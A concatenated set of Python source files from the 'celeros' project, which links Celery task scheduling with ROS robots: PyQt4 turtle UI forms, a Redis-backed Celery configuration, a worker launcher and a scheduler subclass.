# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'turtlecmd.ui' # # Created: Wed Sep 30 14:12:29 2015 # by: PyQt4 UI code generator 4.10.4 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) MainWindow.resize(800, 600) self.centralwidget = QtGui.QWidget(MainWindow) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) self.widget_2 = QtGui.QWidget(self.centralwidget) self.widget_2.setGeometry(QtCore.QRect(20, 390, 751, 141)) self.widget_2.setObjectName(_fromUtf8("widget_2")) self.ANY_lbl = QtGui.QLabel(self.widget_2) self.ANY_lbl.setGeometry(QtCore.QRect(10, 10, 58, 17)) self.ANY_lbl.setObjectName(_fromUtf8("ANY_lbl")) self.TODO_lbl = QtGui.QLabel(self.widget_2) self.TODO_lbl.setGeometry(QtCore.QRect(210, 50, 121, 17)) self.TODO_lbl.setObjectName(_fromUtf8("TODO_lbl")) self.tabWidget = QtGui.QTabWidget(self.centralwidget) self.tabWidget.setGeometry(QtCore.QRect(20, 10, 751, 361)) self.tabWidget.setObjectName(_fromUtf8("tabWidget")) MainWindow.setCentralWidget(self.centralwidget) self.menubar = QtGui.QMenuBar(MainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 27)) self.menubar.setObjectName(_fromUtf8("menubar")) MainWindow.setMenuBar(self.menubar) self.statusbar = QtGui.QStatusBar(MainWindow) self.statusbar.setObjectName(_fromUtf8("statusbar")) MainWindow.setStatusBar(self.statusbar) self.retranslateUi(MainWindow) self.tabWidget.setCurrentIndex(1) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow", None)) self.ANY_lbl.setText(_translate("MainWindow", "ANY", None)) self.TODO_lbl.setText(_translate("MainWindow", "TODO : Actions", None))
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,952
asmodehn/celeros
refs/heads/master
/examples/src/turtle_ui.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'turtle.ui' # # Created: Wed Sep 30 14:12:15 2015 # by: PyQt4 UI code generator 4.10.4 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_Form(object): def setupUi(self, Form): Form.setObjectName(_fromUtf8("Form")) Form.resize(434, 300) self.pose_y_lcd = QtGui.QLCDNumber(Form) self.pose_y_lcd.setGeometry(QtCore.QRect(20, 70, 64, 23)) self.pose_y_lcd.setObjectName(_fromUtf8("pose_y_lcd")) self.pose_angular_lcd = QtGui.QLCDNumber(Form) self.pose_angular_lcd.setGeometry(QtCore.QRect(20, 220, 64, 23)) self.pose_angular_lcd.setObjectName(_fromUtf8("pose_angular_lcd")) self.pose_linear_lcd = QtGui.QLCDNumber(Form) self.pose_linear_lcd.setGeometry(QtCore.QRect(20, 180, 64, 23)) self.pose_linear_lcd.setObjectName(_fromUtf8("pose_linear_lcd")) self.pose_x_lbl = QtGui.QLabel(Form) self.pose_x_lbl.setGeometry(QtCore.QRect(90, 30, 58, 17)) self.pose_x_lbl.setObjectName(_fromUtf8("pose_x_lbl")) self.pose_angular_lbl = QtGui.QLabel(Form) self.pose_angular_lbl.setGeometry(QtCore.QRect(90, 220, 58, 17)) self.pose_angular_lbl.setObjectName(_fromUtf8("pose_angular_lbl")) self.cmd_angular_y_sbx = QtGui.QSpinBox(Form) self.cmd_angular_y_sbx.setGeometry(QtCore.QRect(320, 100, 52, 27)) self.cmd_angular_y_sbx.setObjectName(_fromUtf8("cmd_angular_y_sbx")) self.cmd_linear_y_sbx = QtGui.QSpinBox(Form) self.cmd_linear_y_sbx.setGeometry(QtCore.QRect(180, 100, 52, 27)) self.cmd_linear_y_sbx.setObjectName(_fromUtf8("cmd_linear_y_sbx")) self.pose_tetha_lbl = QtGui.QLabel(Form) self.pose_tetha_lbl.setGeometry(QtCore.QRect(90, 110, 58, 17)) self.pose_tetha_lbl.setObjectName(_fromUtf8("pose_tetha_lbl")) self.pose_theta_lcd = QtGui.QLCDNumber(Form) self.pose_theta_lcd.setGeometry(QtCore.QRect(20, 110, 64, 23)) self.pose_theta_lcd.setObjectName(_fromUtf8("pose_theta_lcd")) self.cmd_linear_y_lbl = QtGui.QLabel(Form) self.cmd_linear_y_lbl.setGeometry(QtCore.QRect(240, 100, 58, 17)) self.cmd_linear_y_lbl.setObjectName(_fromUtf8("cmd_linear_y_lbl")) self.pose_linear_lbl = QtGui.QLabel(Form) self.pose_linear_lbl.setGeometry(QtCore.QRect(90, 180, 58, 17)) self.pose_linear_lbl.setObjectName(_fromUtf8("pose_linear_lbl")) self.cmd_linear_z_sbx = QtGui.QSpinBox(Form) self.cmd_linear_z_sbx.setGeometry(QtCore.QRect(180, 140, 52, 27)) self.cmd_linear_z_sbx.setObjectName(_fromUtf8("cmd_linear_z_sbx")) self.cmd_angular_z_lbl = QtGui.QLabel(Form) self.cmd_angular_z_lbl.setGeometry(QtCore.QRect(380, 140, 58, 17)) self.cmd_angular_z_lbl.setObjectName(_fromUtf8("cmd_angular_z_lbl")) self.cmd_linear_lbl = QtGui.QLabel(Form) self.cmd_linear_lbl.setGeometry(QtCore.QRect(180, 20, 58, 17)) self.cmd_linear_lbl.setObjectName(_fromUtf8("cmd_linear_lbl")) self.pose_x_lcd = QtGui.QLCDNumber(Form) self.pose_x_lcd.setGeometry(QtCore.QRect(20, 30, 64, 23)) self.pose_x_lcd.setObjectName(_fromUtf8("pose_x_lcd")) self.pose_y_lbl = QtGui.QLabel(Form) self.pose_y_lbl.setGeometry(QtCore.QRect(90, 70, 58, 17)) self.pose_y_lbl.setObjectName(_fromUtf8("pose_y_lbl")) self.cmd_angular_lbl = QtGui.QLabel(Form) self.cmd_angular_lbl.setGeometry(QtCore.QRect(380, 100, 58, 17)) self.cmd_angular_lbl.setObjectName(_fromUtf8("cmd_angular_lbl")) self.cmd_angular_z_sbx = QtGui.QSpinBox(Form) self.cmd_angular_z_sbx.setGeometry(QtCore.QRect(320, 140, 52, 27)) self.cmd_angular_z_sbx.setObjectName(_fromUtf8("cmd_angular_z_sbx")) self.cmd_angular_x_sbx = QtGui.QSpinBox(Form) self.cmd_angular_x_sbx.setGeometry(QtCore.QRect(320, 60, 52, 27)) self.cmd_angular_x_sbx.setObjectName(_fromUtf8("cmd_angular_x_sbx")) self.cmd_Angular_lbl = QtGui.QLabel(Form) self.cmd_Angular_lbl.setGeometry(QtCore.QRect(320, 20, 58, 17)) self.cmd_Angular_lbl.setObjectName(_fromUtf8("cmd_Angular_lbl")) self.cmd_angular_x_lbl = QtGui.QLabel(Form) self.cmd_angular_x_lbl.setGeometry(QtCore.QRect(380, 60, 58, 17)) self.cmd_angular_x_lbl.setObjectName(_fromUtf8("cmd_angular_x_lbl")) self.send_cmd_btn = QtGui.QPushButton(Form) self.send_cmd_btn.setGeometry(QtCore.QRect(220, 210, 121, 31)) self.send_cmd_btn.setObjectName(_fromUtf8("send_cmd_btn")) self.cmd_linear_z_lbl = QtGui.QLabel(Form) self.cmd_linear_z_lbl.setGeometry(QtCore.QRect(240, 140, 58, 17)) self.cmd_linear_z_lbl.setObjectName(_fromUtf8("cmd_linear_z_lbl")) self.cmd_linear_x_sbx = QtGui.QSpinBox(Form) self.cmd_linear_x_sbx.setGeometry(QtCore.QRect(180, 60, 52, 27)) self.cmd_linear_x_sbx.setObjectName(_fromUtf8("cmd_linear_x_sbx")) self.cmd_linea_x_lbl = QtGui.QLabel(Form) self.cmd_linea_x_lbl.setGeometry(QtCore.QRect(240, 60, 58, 17)) self.cmd_linea_x_lbl.setObjectName(_fromUtf8("cmd_linea_x_lbl")) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) def retranslateUi(self, Form): Form.setWindowTitle(_translate("Form", "Form", None)) self.pose_x_lbl.setText(_translate("Form", "X", None)) self.pose_angular_lbl.setText(_translate("Form", "angular", None)) self.pose_tetha_lbl.setText(_translate("Form", "theta", None)) self.cmd_linear_y_lbl.setText(_translate("Form", "Y", None)) self.pose_linear_lbl.setText(_translate("Form", "linear", None)) self.cmd_angular_z_lbl.setText(_translate("Form", "Z", None)) self.cmd_linear_lbl.setText(_translate("Form", "Linear", None)) self.pose_y_lbl.setText(_translate("Form", "Y", None)) self.cmd_angular_lbl.setText(_translate("Form", "Y", None)) self.cmd_Angular_lbl.setText(_translate("Form", "Angular", None)) self.cmd_angular_x_lbl.setText(_translate("Form", "X", None)) self.send_cmd_btn.setText(_translate("Form", "Send Command", None)) self.cmd_linear_z_lbl.setText(_translate("Form", "Z", None)) self.cmd_linea_x_lbl.setText(_translate("Form", "X", None))
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,953
asmodehn/celeros
refs/heads/master
/celeros/config.py
# # sample celeros configuration. # this file can be overloaded and passed as argument to change the celeros configuration # # TODO : move to a cleaner way to do configuration ( probably after mutating into up a pure python package ) import logging import logging.handlers import os from kombu import Queue # # These should probably be changed, depending on your celeros deployment # DEBUG = False TESTING = False # NOTE : useful only for sending task. worker get URL from cmd line args CELERY_BROKER_URL = 'redis://localhost:6379/0' BROKER_URL = CELERY_BROKER_URL # NOTE : used for getting results, and also aborting tasks CELERY_RESULT_BACKEND = 'redis://localhost:6379/1' # config used by beat for scheduler CELERY_REDIS_SCHEDULER_URL = "redis://localhost:6379/2" CELERY_IMPORTS = ('celery.task.http', 'celeros.rostasks', ) CELERYBEAT_SCHEDULER = 'celeros.RedisScheduler' # # These are assume to always stay the same by celeros and should not be changed # CELERY_ACCEPT_CONTENT = ['application/json'] CELERY_TASK_SERIALIZER = 'json' CELERY_RESULT_SERIALIZER = 'json' CELERY_CREATE_MISSING_QUEUES = True # We create queue that do not exist yet. CELERY_ALWAYS_EAGER = False # We do NOT want the task to be executed immediately locally. CELERY_TRACK_STARTED = True # We want to know when the task are started CELERY_SEND_TASK_SENT_EVENT = True # needed to have the sent time (exposed by flower) # Logger settings that blend in with ROS log format CELERYD_HIJACK_ROOT_LOGGER = False CELERYD_LOG_FORMAT = "[%(levelname)s] [%(asctime)s] [%(processName)s] %(message)s" CELERYD_TASK_LOG_FORMAT = "[%(levelname)s] [%(asctime)s] [%(processName)s] [%(task_name)s: (%(task_id)s)] %(message)s" # Custom log monkey patch # Ref : http://loose-bits.com/2010/12/celery-logging-with-python-logging.html PATCH_CELERYD_LOG_EXTRA_HANDLERS = [ # note the stream logger is already setup using normal celery logger code ( omitting command line -f arg ). # note bis : logging level here cannot be less than main celery logging... (logging.DEBUG, lambda: logging.handlers.RotatingFileHandler( os.path.join(os.environ.get('ROS_HOME', os.path.join(os.path.expanduser("~"), '.ros')), "gopher", "celeros.log"), maxBytes=100 * 131072, backupCount=10) ), #(logging.WARNING, lambda: logging.handlers.SysLogHandler()), ] # TODO : a better way to do this ? # config used by beat for scheduler CELERY_REDIS_SCHEDULER_KEY_PREFIX = 'schedule:' CELERYBEAT_SYNC_EVERY = 1 CELERYBEAT_MAX_LOOP_INTERVAL = 30 # each worker will accept only a single task at a time CELERYD_CONCURRENCY = 1 # only need one worker process. CELERYD_PREFETCH_MULTIPLIER = 1 # 0 means no limit. CELERY_ACKS_LATE = True # we ack when the task is finished. only then the next task will be fetched. # Force each worker to have its own queue. So we can send specific task to each. CELERY_WORKER_DIRECT = True # Routes are only important for task sender : we do not care about simulation or not here. CELERY_DEFAULT_QUEUE = 'celeros' CELERY_DEFAULT_EXCHANGE = 'celeros' CELERY_DEFAULT_EXCHANGE_TYPE = 'direct' # topic doesnt seem to work with redis at the moment ( https://github.com/celery/celery/issues/3117 ) CELERY_DEFAULT_ROUTING_KEY = 'celeros' # Queueing strategy : matching routing_key determine which queue the task will go in # default routing key is the task name. a matching queue will be determined by celery. CELERY_QUEUES = ( ) # Note the battery sensitive queue should not be put here # as it would automatically start consume before we are able to do battery check CELERY_ROUTES = ({ 'celeros.app.add_together': { 'queue': 'celeros' }, 'celeros.app.long_task': { 'queue': 'celeros' }, }) # Note : some routes will need to be setup here for simulated task to go to simulated queues. # Hint : Celery 3.1 Router doesnt get options passed to it, # so there is no convenient way to route a task run based on "task run intent". # The route can depend only on the task name itself # -> simulated task should duplicate normal task, with only a different name, that will branch to a different route. # # Custom Celeros settings: # # TODO : think about how to specify topic OR service... # Specifying where we should get the battery information from. # None means we dont want to care about it. CELEROS_BATTERY_TOPIC = '/robot/battery' # TODO : regex here (matching the local hostname instead of "robot"?) ? # how often we check the battery (in secs) CELEROS_BATTERY_CHECK_PERIOD = 10 # (List of) tuples of battery levels and queues that can be consumed from, # only if the battery has a percentage higher than the specified level CELEROS_MIN_BATTERY_PCT_QUEUE = [ (20, Queue('celeros', routing_key='celeros')) ] # This will automatically create the required queues if needed. # But we need to specify CELERY_QUEUES here in order to set the routing key for it.
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,954
asmodehn/celeros
refs/heads/master
/celeros/bootsteps/__init__.py
from __future__ import absolute_import from .pyrosboot import PyrosBoot from .batterywatcher import BatteryWatcher __all__ = [ 'PyrosBoot', 'BatteryWatcher', ]
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,955
asmodehn/celeros
refs/heads/master
/celeros/__main__.py
#!/usr/bin/python # All ways to run celeros # should be defined here for consistency from __future__ import absolute_import import os import sys import click import errno import celery import celery.bin.worker # logging configuration should be here to not be imported by users of celeros. # only used from command line import logging.config # Setting up logging for this test logging.config.dictConfig( { 'version': 1, 'formatters': { 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s' }, 'simple': { 'format': '%(levelname)s %(name)s:%(message)s' }, }, 'handlers': { # Handlers not filtering level -> we filter from logger. 'null': { 'level': 'DEBUG', 'class': 'logging.NullHandler', }, 'console': { 'level': 'DEBUG', 'class': 'logging.StreamHandler', 'formatter': 'simple' }, }, 'loggers': { 'pyros_config': { 'handlers': ['console'], 'level': 'INFO', 'propagate': False, }, 'pyros_setup': { 'handlers': ['console'], 'level': 'INFO', }, 'pyros': { 'handlers': ['console'], 'level': 'INFO', }, # Needed to see celery processes log (especially beat) 'celery': { 'handlers': ['console'], 'level': 'INFO', 'propagate': False, }, 'celeros': { 'handlers': ['console'], 'level': 'INFO', 'propagate': False, }, '': { # root logger 'handlers': ['console'], 'level': 'INFO', } } } ) #importing current package if needed ( solving relative package import from __main__ problem ) if __package__ is None: sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))) from celeros import celeros_app else: from . import celeros_app # Note to keep things simple and somewhat consistent, we try to follow rostful's __main__ structure here... # TODO : handle ros arguments here # http://click.pocoo.org/5/commands/#group-invocation-without-command @click.group() def cli(): pass # # Arguments' default value is None here # to use default values from config file if one is provided. # If no config file is provided, internal defaults are used. # @cli.command() @click.option('hostname', '-n', '--hostname', default=None) @click.option('broker', '-b', '--broker', default=None) @click.option('beat', '-B', '--beat', is_flag=True, default=False) @click.option('loglevel', '-l', '--loglevel', default=None) @click.option('logfile', '-f', '--logfile', default=None) @click.option('scheduler', '-S', '--schedulerclass', default=None) @click.option('queues', '-Q', '--queues', default=None) @click.option('config', '-c', '--config', default=None) # this is the last possible config override, and has to be explicit. @click.option('ros_args', '-r', '--ros-arg', multiple=True, default='') def worker(hostname, broker, beat, loglevel, logfile, queues, scheduler, config, ros_args): """ Starts a celeros worker :param hostname: hostname for this worker :param broker: broker to connect to :param loglevel: loglevel :param logfile: logfile to dump logs :param queues: queues to connect to :param config: config file to use (last overload) :param ros_args: extra ros args :return: """ # Massaging argv to make celery happy # First arg needs to be the prog_name (following schema "celery prog_name --options") argv = ['worker'] if beat: argv += ['--beat'] if hostname: argv += ['--hostname={0}'.format(hostname)] if broker: argv += ['--broker={0}'.format(broker)] if queues: argv += ['--queues={0}'.format(queues)] if scheduler: argv += ['--scheduler={0}'.format(scheduler)] if loglevel: argv += ['--loglevel={0}'.format(loglevel)] if logfile: argv += ['--logfile={0}'.format(logfile)] if config: argv += ['--config={0}'.format(config)] for r in ros_args: argv += ['--ros-arg={0}'.format(r)] logging.info("Starting celery with arguments {argv}".format(**locals())) celeros_app.worker_main(argv=argv) # TODO : inspect command wrapper here to simplify usage to our usecase. if __name__ == '__main__': cli()
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,956
asmodehn/celeros
refs/heads/master
/celeros/bootsteps/pyrosconsumer.py
#!/usr/bin/env python import sys import os import logging import multiprocessing from celery import Celery, bootsteps from kombu import Consumer, Queue from celery.platforms import signals as _signals from celery.utils.log import get_logger logger = get_logger(__name__) # If We need more than a CustomerStep class PyrosConsumer(bootsteps.StartStopStep): requires = ('celery.worker.consumer:Tasks',) def __init__(self, parent, **kwargs): # here we can prepare the Worker/Consumer object # in any way we want, set attribute defaults and so on. print('{0!r} is in init'.format(parent)) # The Pyros client should have been started by the worker custom booststep # and should be accessible here print(parent.app.ros_node_client) def start(self, parent): # our step is started together with all other Worker/Consumer # bootsteps. print('{0!r} is starting'.format(parent)) def stop(self, parent): # the Consumer calls stop every time the consumer is restarted # (i.e. connection is lost) and also at shutdown. print('{0!r} is stopping'.format(parent)) def shutdown(self, parent): # shutdown is called by the Consumer at shutdown. print('{0!r} is shutting down'.format(parent)) self.node_proc.shutdown() # If not, we can go the easy way # class PyrosConsumer(bootsteps.ConsumerStep): # # def get_consumers(self, channel): # return [Consumer(channel, # queues=[my_queue], # callbacks=[self.handle_message], # accept=['json'])] # # def handle_message(self, body, message): # print('Received message: {0!r}'.format(body)) # message.ack()
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,957
asmodehn/celeros
refs/heads/master
/celeros/rosperiodictasks.py
from __future__ import absolute_import # The only way that works to import package content based on file structure # instead of parent package content, which is not loaded when extending celery. from .celerybeatredis import PeriodicTask as celerybeatredis_PeriodicTask class PeriodicTask(celerybeatredis_PeriodicTask): def __init__(self, name, task, schedule, enabled=True, fire_and_forget=False, sent_at=None, args=(), kwargs=None, options=None, last_run_at=None, total_run_count=None, **extrakwargs): super(PeriodicTask, self).__init__(name=name, task=task, enabled=enabled, fire_and_forget=fire_and_forget, sent_at=sent_at, last_run_at=last_run_at, total_run_count=total_run_count, schedule=schedule, args=args, kwargs=kwargs, options=options, **extrakwargs)
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,958
asmodehn/celeros
refs/heads/master
/examples/src/turtlecommand.py
from __future__ import absolute_import import sys from PyQt4 import QtCore, QtGui from turtle_ui import Ui_Form from turtlecmd_ui import Ui_MainWindow try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class TurtleWidget(QtGui.QWidget): def __init__(self, parent=None): QtGui.QWidget.__init__(self, parent) self.turtle_ui = Ui_Form() self.turtle_ui.setupUi(self) self.turtle_ui.send_cmd_btn.clicked.connect(self.send_cmd) def send_cmd(self): print 'Send Command pressed.' class MyWindow(QtGui.QMainWindow): def __init__(self, parent=None): QtGui.QMainWindow.__init__(self, parent) self.ui = Ui_MainWindow() self.ui.setupUi(self) # setting up tabs from widget self.tab = TurtleWidget() self.tab.setObjectName(_fromUtf8("turtle")) self.ui.tabWidget.addTab(self.tab, _fromUtf8("")) self.retranslateUi(parent) def retranslateUi(self, MainWindow): self.ui.tabWidget.setTabText(self.ui.tabWidget.indexOf(self.tab), _translate("MainWindow", "Tab 1", None)) #self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), _translate("MainWindow", "Tab 2", None)) if __name__ == "__main__": app = QtGui.QApplication(sys.argv) myapp = MyWindow() myapp.show() sys.exit(app.exec_())
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,959
asmodehn/celeros
refs/heads/master
/examples/src/turtletasks.py
from __future__ import absolute_import import time import random from celeros import celeros_app import rospy import rostful_node from celery import states from celery.contrib.abortable import AbortableTask from celery.exceptions import Ignore, Reject from celery.utils.log import get_task_logger _logger = get_task_logger(__name__) @celeros_app.task(bind=True) def turtle_move(self): """Task to move the turtle around - TODO """ verb = ['Starting up', 'Booting', 'Repairing', 'Loading', 'Checking'] adjective = ['master', 'radiant', 'silent', 'harmonic', 'fast'] noun = ['solar array', 'particle reshaper', 'cosmic ray', 'orbiter', 'bit'] message = '' total = random.randint(10, 50) for i in range(total): if not message or random.random() < 0.25: message = '{0} {1} {2}...'.format(random.choice(verb), random.choice(adjective), random.choice(noun)) self.update_state(state='PROGRESS', meta={'current': i, 'total': total, 'status': message}) time.sleep(1) return {'current': 100, 'total': 100, 'status': 'Task completed! from flask_task_planner package', 'result': 42}
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,960
asmodehn/celeros
refs/heads/master
/celeros/scheduler.py
from __future__ import absolute_import from celery.utils.log import get_logger import pyros logger = get_logger(__name__) # The only way that works to import package content based on file structure # instead of parent package content, which is not loaded when extending celery. from .celerybeatredis import RedisScheduleEntry as celerybeatredis_ScheduleEntry from .celerybeatredis import RedisScheduler as celerybeatredis_Scheduler from .rosperiodictasks import PeriodicTask # We use the normal RedisScheduleEntry. This is just here as an example of overloading the behavior for an Entry. class RedisScheduleEntry(celerybeatredis_ScheduleEntry): def __init__(self, name=None, task=None, enabled=True, fire_and_forget=False, last_run_at=None, total_run_count=None, schedule=None, args=(), kwargs=None, options=None, app=None, **extrakwargs): """ :param name: the name of the task ( = redis key ) :param task: the task itself (python function) :param enabled: whether the task is enabled and should run :param fire_and_forget: whether the task should be deleted after triggering once :param last_run_at: last time the task was run :param total_run_count: the number of time the task was run :param schedule: the schedule for the task :param args: the args for the task :param kwargs: the kwargs for the task :param options: the options for the task :param app: the current app :param extrakwargs: extra kwargs to support extra json fields if needed. :return: """ super(RedisScheduleEntry, self).__init__( name=name, task=task, enabled=enabled, fire_and_forget=fire_and_forget, last_run_at=last_run_at, total_run_count=total_run_count, schedule=schedule, args=args, kwargs=kwargs, options=options, app=app, **extrakwargs ) def __repr__(self): return (super(RedisScheduleEntry, self).__repr__() + ' fire_and_forget: {ff}'.format( ff=self.fire_and_forget )) def is_due(self): due = super(RedisScheduleEntry, self).is_due() return due class RedisScheduler(celerybeatredis_Scheduler): # Overloading the Entry class for our scheduler Entry = RedisScheduleEntry def __init__(self, *args, **kwargs): logger.warn('{0!r} is starting from {1}'.format(self, __file__)) super(RedisScheduler, self).__init__(*args, **kwargs) self._purge = set() # keeping entries to delete by name for sync later on # Here an app is setup. # And we can get the pyros client : print("pyros_client : {}".format(self.app.ros_node_client)) def reserve(self, entry): # called when the task is about to be run (and data will be modified -> sync() will need to save it) # this will add the entry to a dirty list to write change into db during next sync new_entry = super(RedisScheduler, self).reserve(entry) # If this entry is fire_and_forget, we need to delete it later if new_entry.fire_and_forget: self._purge.add(new_entry.name) self._dirty.remove(new_entry.name) # no need to save whatever was modified for this entry return new_entry # Overload this if you need to modify the way the task is run. # check parent classes for reference implementation def apply_async(self, entry, publisher=None, **kwargs): return super(RedisScheduler, self).apply_async(entry, publisher, **kwargs) def sync(self): _tried_purge = set() try: if self._purge: logger.info('cleaning up entries to be deleted :') while self._purge: name = self._purge.pop() logger.info('- {0}'.format(name)) _tried_purge.add(name) # delete entries that need to be purged self.rdb.delete(name) except Exception as exc: # retry later self._purge |= _tried_purge logger.error('Error while sync: %r', exc, exc_info=1) super(RedisScheduler, self).sync()
